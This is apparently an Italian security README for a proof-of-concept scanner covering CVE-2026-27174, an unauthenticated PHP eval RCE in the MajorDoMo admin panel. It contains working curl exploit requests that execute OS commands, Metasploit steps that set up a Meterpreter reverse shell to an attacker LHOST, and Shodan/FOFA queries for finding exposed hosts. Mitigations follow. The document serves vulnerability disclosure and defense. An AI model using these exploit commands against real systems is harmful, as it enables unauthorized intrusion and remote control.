
CVE-2026-27174 - Esecuzione remota di codice non autenticata tramite la funzionalità console PHP del pannello di amministrazione.
Una proof-of-concept che sfrutta l'esecuzione remota di codice non autenticata tramite la funzione console PHP del pannello di amministrazione in MajorDomo (Major Domestic Module).
Il pannello di amministrazione di MajorDoMo espone una console di valutazione PHP tramite /admin.php. A causa di una exit mancante dopo un reindirizzamento di autenticazione in panel.class.php, l'handler AJAX inc_panel_ajax.php viene incluso incondizionatamente, rendendo la sua eval() raggiungibile da qualsiasi richiesta HTTP non autenticata.
Un attaccante può eseguire codice PHP arbitrario con una singola richiesta GET, senza richiedere credenziali, accesso preliminare o interazione da parte della vittima.
scan.py è uno scanner multi-thread non distruttivo che rileva gli host vulnerabili a CVE-2026-27174 senza eseguire alcun payload dannoso.
Lo scanner opera in tre fasi sequenziali per ogni target:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
Un marcatore alfanumerico casuale viene generato per ogni richiesta per evitare falsi positivi dovuti a caching, WAF o inquinamento delle risposte.
pip install requests
Creare un file targets.txt con un IP:PORT per riga:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.jsonGenerato automaticamente quando viene trovato almeno un host vulnerabile:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
In base al risultato del campo system_functions_available nel file result.json, possiamo costruire una richiesta GET usando la/le funzione/i di sistema per sfruttare l'RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Modulo Metasploit:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
Un attaccante remoto non autenticato può:
L'impatto effettivo dipende dalla configurazione PHP disable_functions del server:
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Aggiornare all'ultima versione di MajorDomo (Major Domestic Module).
| Controllo | Previene l'RCE | Previene l'exec OS |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.
| Campo | Descrizione |
|---|
target | IP:PORT scansionato |
url | URL completo in cui è stato confermato l'RCE |
rce_php | Esecuzione di codice PHP confermata (sempre true nei risultati) |
disable_functions | Impostazione PHP disable_functions del server (null se vuota) |
system_functions_available | Funzioni di esecuzione OS richiamabili da un attaccante |
impact_level | HIGH (esecuzione OS raggiungibile) o MEDIUM (solo RCE PHP) |
| Scenario | Livello di impatto | Descrizione |
|---|
Nessun disable_functions | CRITICAL | Esecuzione completa di comandi OS |
| Restrizioni parziali | HIGH | RCE PHP + esecuzione OS parziale |
disable_functions blocca ogni exec | MEDIUM | Solo RCE PHP (lettura/scrittura file, esfiltrazione dati) |
| Applica la patch del 18 febbraio 2026 | ✅ | ✅ |
Firewall/allowlist IP su /admin.php | ✅ | ✅ |
Hardening di disable_functions | ❌ | ✅ |